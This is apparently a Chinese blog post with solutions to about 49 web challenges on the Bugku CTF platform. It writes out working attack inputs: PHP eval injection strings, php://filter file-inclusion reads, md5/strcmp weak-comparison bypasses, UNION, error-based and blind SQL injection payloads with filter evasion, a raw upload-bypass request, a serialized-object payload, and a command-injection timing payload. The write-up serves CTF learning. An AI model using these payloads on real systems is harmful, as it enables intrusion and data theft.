bugku web方向所有题解

第一题F12,第二题打开js文件,第三题 get参数
第四题转换成post请求最后空一行加入what=flag 注意最后不能加回车,不然会把what的值认为是"flag\n"
可以转换post加入参数,再转成get再转换成post
第五题php弱类型 num=1df 随便什么,反正$num==1都能通过

$num=$_GET['num'];
if(!is_numeric($num))
{
echo $num;
if($num==1)
echo 'flag{**********}';
}

第六题:decode as HTML
第七题:修改本地host文件,访问flag.baidu.com。
应该在服务器里配置了禁止直接通过IP访问,通过header中Host的值可以分辨是否直接通过ip访问。
这题是这样的,直接访问域名的话DNS服务器无法解析域名,直接访问ip又会被查出来。
第八题:1.用burp repeater重放。2.禁用js,手动刷新界面
第九题 这题坏了。本地包含。eval的命令执行
var_dump() 函数用于输出变量的相关信息。
var_dump() 函数显示关于一个或多个表达式的结构信息,包括表达式的类型与值。数组将递归展开值,通过缩进显示其结构。



?hello=);show_source(%27flag.php%27);//
相当于
eval("var_dump();show_source(%27flag.php%27);//);")

第十题

eval("var_dump($$args);");  args=GLOBALS
var_dump函数用于打印显示一个变量的内容与结构,以及类型的信息。
$args="GLOBALS" 一个可变变量获取了一个普通变量的值作为这个可变变量的变量名。
$$args="$GLOBALS"
eval("var_dump($$args);");

第十一题:提交之后F12,jother编码。代码混淆加密。看上去有点像brainfuck
jother编码是在javascript语言中,利用少量特定字符构造精简的匿名函数对与字符串的编码方式。我理解是,javascript中使用少量特定字符对匿名函数进行编码加密。其中少量的特定字符包括:“+”、“!”、“(”、“)”、“[”、“]”、“{”、“}"。由此可见,1、递归在编码过程中是必须的。2、编码压缩率大于100%或者更高,也就是说编码后的长度比原长度长很多。
粘贴到console直接执行。字母大写

第十二题:HTTP header里面
第十三题:扫后台 shell.php 弱密码hack 网站特效还挺酷炫的
第十四题:注释有个base64编码test123。
IP禁止访问,请联系本地管理员登陆,IP已被记录.
http头里面要加X-Forwarded-For: 127.0.0.1,伪装成本地登录。X-Forwarded-For(XFF)是用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段。 是一个 HTTP 扩展头部,主要是为了让 Web 服务器获取访问用户的真实 IP 地址

第十五题:js代码混淆 unescape URL解码 F12,console执行,js格式化

function checkSubmit() {
    var a = document.getElementById("password");
    if ("undefined" != typeof a) {
        if ("67d709b2b54aa2aa648cf6e87a7114f1" == a.value) return ! 0;
        alert("Error");
        a.focus();
        return ! 1
    }
}
document.getElementById("levelQuest").onsubmit = checkSubmit;

输入67d709b2b54aa2aa648cf6e87a7114f1,提交。 levelQuest是个不存在的id

第十六题:文件包含漏洞。?file=php://filter/read=convert.base64-encode/resource=index.php
第十七题:爆破 13579
第十八题:js,repeater
第十九题:
源码泄露工具,
https://coding.net/u/yihangwang/p/SourceLeakHacker/git?public=true
可以自动访问常见的CTF线索文件,如果返回正常说明文件存在。
index.php.bak

$str = str_replace('key','',$str);
md5($key1) == md5($key2) && $key1 !== $key2

第一步用kekeyy1 绕过str_replace
1.md5()函数无法处理数组,如果传入的为数组,会返回NULL,所以两个数组经过加密后得到的都是NULL,也就是相等的。
2.利用==比较漏洞
如果两个字符经MD5加密后的值为 0exxxxx形式,就会被认为是科学计数法,且表示的是0*10的xxxx次方,还是零,都是相等的。QNKCDZO 或者 240610708
d41d8cd98f00b204e9800998ecf8427e是什么意思,拿到MD5解密试一下,结果为NULL,也就是说这是NULL的MD5值,因为默认是没有传入key1和key2的,这两个值也就是null.

下列的字符串的MD5值都是0e开头的:
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s214587387a

第二十题:sql注入
是个带回显的sql注入,但是只显示第一行。需要id=-1
输入1a。正常显示,说明变量两边带单引号
order by判断列数
id=-1’ union select 1,2,3,4#
爆库:id=-1’ union select 1,2,3,database()#
爆表: id=-1’ union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()#
爆字段:id=-1’ union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name=‘fl4g’# //或者用16进制0x666c3467绕过
查询数据:id=-1’ union select 1,2,3,skctf_flag from fl4g#

第二十一题:Give me value post about 写程序,快速计算表达式并post返回结果
第二十二题:header中的base64解码,作为margin的值post提交
第二十三题:
?line=&filename=a2V5cy50eHQ=
url中的filename参数是base64编码keys.txt
将index.php用base64编码,然后取不同line值

第二十四题:
打开1p.htmll,有点奇怪的是为什么view-source打开不跳转,直接打开就会跳转。
如果浏览器遇到window.location不会记录,就直接跳转,burp也不会记录这个histroy。可能是因为没有加载完页面就跳转了。
url解码又base64解码后又url解码得到下面代码

if (!$_GET['id']) {
    header('Location: hello.php?id=1');
    exit();
}
$id = $_GET['id'];
$a = $_GET['a'];
$b = $_GET['b'];
if (stripos($a, '.')) {
    echo 'no no no no no no no';
    return;
}
$data = @file_get_contents($a, 'r');
if ($data == "bugku is a nice plateform!"and $id == 0 and strlen($b) > 5 and eregi("111".substr($b, 0, 1), "1114") and substr($b, 0, 1) != 4) {
    require("f4l2a3g.txt");
} else {
    print "never never never give up !!!";
}

需要传入满足要求的id,a,b
存在$_GET[‘id’]并且id==0:令id=%00或者令id=.都可以绕过。id=0abc
对a的要求是打开名为a的文件要满足文件内容为bugku is a nice plateform!,可以令a=php://input,该文件内容为post内容,然后POST传值 bugku is a nice plateform! 绕过。
strlen($b)>5 and eregi(“111”.substr($b,0,1),”1114”) and substr($b,0,1)!=4:可以利用%00截断,令b=%0012345 绕过。

payload:

POST /test/hello.php?a=php://input&b=%0012345&id=0abc HTTP/1.1
Host: 123.206.87.240:8006
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.81 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=2olv7auirovnqe4ou7ar0vnmn8me0vns
Connection: close
Content-Length: 26
Content-Type: application/x-www-form-urlencoded

bugku is a nice plateform!

第二十五题:
同上题, file=php://filter/read=convert.base64-encode/resource=hint.php 读取文件内容

file)){  
            echo file_get_contents($this->file); 
			echo "
"; return ("good"); } } } ?>

读取index.php内容
#index.php

";    
    if(preg_match("/flag/",$file)){   
        echo "不能现在就给你flag哦";  
        exit();    
    }else{    
        include($file);     
        $password = unserialize($password);    
        echo $password;    
    }    
}else{    
    echo "you are not the number of bugku ! ";    
}    
    
?>    
    
    

__tostring()魔法方法
首先要include hint.php,然后echo 对象才会执行这个魔法方法,输出flag

file = "flag.php";  
    $a = serialize($a);  
    print_r($a);  
?>  

得到 O:4:“Flag”:1:{s:4:“file”;s:8:“flag.php”;}

payload:

POST /test1/?txt=php://input&file=hint.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";} HTTP/1.1
Host: 123.206.87.240:8006
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.81 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=2olv7auirovnqe4ou7ar0vnmn8me0vns
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 23

welcome to the bugkuctf

第二十六题:assert 断言 有代码执行漏洞。
print_r() 函数用于打印变量,以更容易理解的形式展示。
scandir() 函数返回指定目录中的文件和目录的数组。
?s=print_r(scandir(’./’))
还可以实现任意文件读取 ?s=print_r(fopen(’…/etc/hosts’,‘r’))

第二十七题:通过 id 传参,并且要符合上面的正则表达式,key就会显示

preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match);
?id=keykeyaaaakey:/a/keya:
[:punct:]                     匹配任何标点符号

第二十八题:题目挂了,strcmp相同返回0。strcmp()函数漏洞。strcmp函数如果出错,那么它的返回值也会是0,和字符串相等时返回值一致。那么如何出错呢,猜测不可比较时出错,那么传入一个数组试试
?v1=240610708&v2=QNKCDZO&v3[]=1

第二十九题:sql约束攻击
在SQL中执行字符串处理时,字符串末尾的空格符将会被删除。换句话说“vampire”等同于“vampire ”,对于绝大多数情况来说都是成立的(诸如WHERE子句中的字符串或INSERT语句中的字符串)例如以下语句的查询结果,与使用用户名“vampire”进行查询时的结果是一样的。
SELECT * FROM users WHERE username='vampire ';
但也存在异常情况,最好的例子就是LIKE子句了。注意,对尾部空白符的这种修剪操作,主要是在“字符串比较”期间进行的。这是因为,SQL会在内部使用空格来填充字符串,以便在比较之前使其它们的长度保持一致。

在所有的INSERT查询中,SQL都会根据varchar(n)来限制字符串的最大长度。也就是说,如果字符串的长度大于“n”个字符的话,那么仅使用字符串的前“n”个字符。比如特定列的长度约束为“5”个字符,那么在插入字符串“vampire”时,实际上只能插入字符串的前5个字符,即“vampi”。

第三十题:头部加上referer:https://www.google.com
第三十一题:?a=s878926199a 猜想是a的值md5加密后需要是类似0e这种开头的,这样逻辑判断非之后可以为True
第三十二题:X-Forwarded-For: 127.0.0.1
第三十三题:sha1相同。?uname[]=1
第三十四题:extract函数的使用。扫出flag.txt。flag不在flag.txt中。或者php://input
第三十五题:扫后台 robots.txt resusl.php?x=admin
第三十六题:文件上传。修改两处:1.大写Content-type绕过waf严格匹配 2.修改image/png 后缀名php5

POST /web9/index.php HTTP/1.1
Host: 123.206.87.240:8002
Content-Length: 278
Cache-Control: max-age=0
Origin: http://123.206.87.240:8002
Upgrade-Insecure-Requests: 1
Content-Type: mUltipart/form-data; boundary=----WebKitFormBoundaryeEYQ5ZEoKe2weX1m
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.81 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://123.206.87.240:8002/web9/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=2olv7auirovnqe4ou7ar0vnmn8me0vns
Connection: close

------WebKitFormBoundaryeEYQ5ZEoKe2weX1m
Content-Disposition: form-data; name="file"; filename="a.php5"
Content-Type: image/png


------WebKitFormBoundaryeEYQ5ZEoKe2weX1m
Content-Disposition: form-data; name="submit"

Submit
------WebKitFormBoundaryeEYQ5ZEoKe2weX1m--

第三十七题:插入型,XFF时间盲注
源码已给出,由于explode(",",$str) 无法使用if语句 无法使用substr和substring
解决方法
使用case:select case when xxx then xxx else xxx end;
使用substr((exp1) from 1 for 1)
具体代码看脚本,只有最后的爆破脚本

第三十八题:这是一个神奇的登录框 有回显的sql注入
在用户名后面加个\,出现错误,则存在注入漏洞
比较罕见,是个双引号注入。
admin_name=1"#&admin_passwd=1&submit=GO+GO+GO
判断回显位置在login_name附近
admin_name=1" union select 1,2%23&admin_passwd=1&submit=GO+GO+GO
select 1,2 这是因为列数为2。如果是手动注入,%23要换成#才能显示。
哪怕修改用户名依然登录名为1
1" union select database(),2#
Login_Name:bugkusql1
1" union select (select table_name from information_schema.tables where table_schema=‘bugkusql1’ limit 0,1),2#
Login_Name:flag1
1" union select (select column_name from information_schema.columns where table_name=‘flag1’),2#
Login_Name:flag1
1" union select (select flag1 from flag1),2#
Login_Name:ed6b28e684817d9efcaf802979e57aea

第三十九题:sql注入。这是道有回显的注入,但是存在过滤and,or,union,select。使用双写绕过
异或注入:用来判断哪些字符串被过滤了
?id=1’^(length(‘union’)!=0)–+
如果返回页面显示正常,那就证明length(‘union’)==0的,也就是union被过滤了

爆表
?id=-1’ ununionion seselectlect 1,group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()–+
flag1,hint

爆字段:
?id=-1’ ununionion seselectlect 1, group_concat(column_name) from infoorrmation_schema.columns where table_name=‘flag1’–+
flag1,address

爆数据:
?id=-1’ ununionion seselectlect 1, group_concat(flag1,address) from flag1–+
./Once_More.php

接下来是报错注入:
?id=1’ and updatexml(1,concat(’~’,(select group_concat(table_name) from information_schema.tables where table_schema=database()),’~’),3) %23
结果:XPATH syntax error: ‘class,flag2

?id=1’ and updatexml(1,concat(’~’,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘flag2’),’~’),3) %23

?id=1’ and updatexml(1,concat(’~’,(select flag2 from flag2),’~’),3) %23
最后将flag改成小写

第四十题:解密。代码审计类。
第四十一题:题目坏了。文件包含2

上传1.php;.jpg。使用包含文件的方式菜刀连接

第四十二题: ?hint=1 代码审计

$cookie = $_COOKIE['ISecer']; 
unserialize($cookie) === "$KEY"

构造cookie,反序列化的值要为NULL。

GET /flagphp/ HTTP/1.1
Host: 123.206.87.240:8002
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.81 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=2olv7auirovnqe4ou7ar0vnmn8me0vns;ISecer=s:0:""
Connection: close

最后加不加分号(%2B)都可以,why?

第四十三题:sql注入。盲注。过滤了很多
猜测语句 sql = select * from users where username=$username;
猜测字段为passwd

第四十四题:孙xx的博客。题目坏了。扫后台登录phpmyadmin
第四十五题:Trim的日记本 扫后台 show.php。正常做法?可能是考二次注入,但是没找到回显的点
第四十六题:login2(SKCTF) 题目坏了。sql注入登录web系统,命令执行反弹公网IP监听端口。
base64解密得部分登录源码

$sql="SELECT username,password FROM admin WHERE username='".$username."'";
if (!empty($row) && $row['password']===md5($password)){
}

password应该是预先定义好的值,不是从数据库里取得
通过输入不存在用户,用union select 构造出指定密码的md5值,从而登录成功
username=a’ union select 1,md5(1)-- -&password=1
执行sql后username password分别为1 md5(1)

sh -c ps -anx | grep 123,用grep命令对输入的内容从 sh -c ps -anx 的执行结果里面进行查找并输出。
过滤的字符:| & || && ; %0a
两种可能,命令执行了,输出过滤了,或者是命令被过滤了。
没有回显,通过linux下的sleep命令测试是否执行:c=123 ; sleep 5。判断是输出过滤
测试下它是否能连接外网:c=123 ; ping www.baidu.com,浏览器一直转圈圈的话就是ping执行了,能连外网。
反弹shell获取flag
过滤脚本:

';
                }
        }
}
?>

另一种方法:
基于时间的命令行盲注:采用bash命令,通过对比字符串中一个一个的字符与页面延迟来确定我们需要的内容。
基本payload思路:
c=123;a=ls;b=‘a’;if [ ${a:0:1} == $b ];then sleep 2;fi

第四十七题:题目坏了。bool盲注
DS_Store源码泄露

异或运算有两个特性:
1、一个数异或本身恒等于0,如5^5恒等于0;
2、一个数异或0恒等于本身,如5^0恒等于5。

当用户名正确的时候,会提示密码错误,当用户名错误的时候会提醒用户名错误。因此可以利用这两个不同的提示来进行注入。
这道题过滤了and 空格 等号 逗号 for
使用异或来代替and,等号用不等于<>来相反代替。空格可以使用 () 代替
普遍使用mid或者substring来逐个判断,但是这里过滤了逗号,所以用ascii取ascii码值(只取字符串的第一个字符的十进制ascii码值)

admin'^(ascii(mid(database()from(1)))<>97)^0#

如果数据库名的第一位的ascii码值不是97,where条件是username=’admin’^1^0 。(这里username='admin'是一个条件,操作符优先级问题) 为1^1^0=0 条件不成立
返回username does not exist!
如果数据库名的第一位的ascii码值是97,where条件是username=’admin’^0^0。为1^0^0=1条件成立
返回值会是password error!

补充一点,因为这里即使语法错误也不会报错,有可能你输入的语句就不可能成立,但你也不知道,就很麻烦了,不过可以改变最后是^0还是^1,如果0或1返回值都相同,那就是有语法错误,如果不同就证明不存在语法错误,可以正确盲注。这也是为什么要多加一个^0,看似多此一举,其实好处多多。

关键词information被禁。所以无法爆,只能猜表名和字段

猜表:admin’^(select(1)from(admin))^1#   返回password error!说明猜对了
猜字段   admin’^(select(count(password))from(admin))^1#  返回password error!说明猜对了。

为什么要用count()呢,因为如果有多行数据也可能会报错,会干扰判断。

然后猜password的值,暴力猜解,与猜数据库类似:

admin’^(ascii(mid((select(password)from(admin))from(1)))<>97)^0#

得到密码的MD5值:51b7a76d51e70b419f60d3473fb6f900,解密后登陆,得到flag

COUNT(DISTINCT 字段),返回不同的非NULL值数目;若找不到匹配的项,则COUNT(DISTINCT)返回 0 。

mysql中的强制类型转换 username=0,强制类型转换在 “=”,左右进行比较时会将两者类型转换相同在进行比较,因此字符串就会被整数,如果一个字符串不是以数字开头的那么转换后将为零,比如"bhdfvsdjaokaakod"转换后就为0,因此username=0;就可以爆出所有满足条件的用户

第四十八题:题目坏了。 1.首先是在网站进行文件上传。修改Content-Type可绕过上传 2.文件包含,利用php伪协议
第四十九题:CBC字节翻转攻击
若C = A xor B,则有A = B xor C,同样也有B = A xor C
A xor B xor C = 0
A xor B xor C xor “任意值“ = 任意值

vim -r index.php.swp

你可能感兴趣的:(ctf)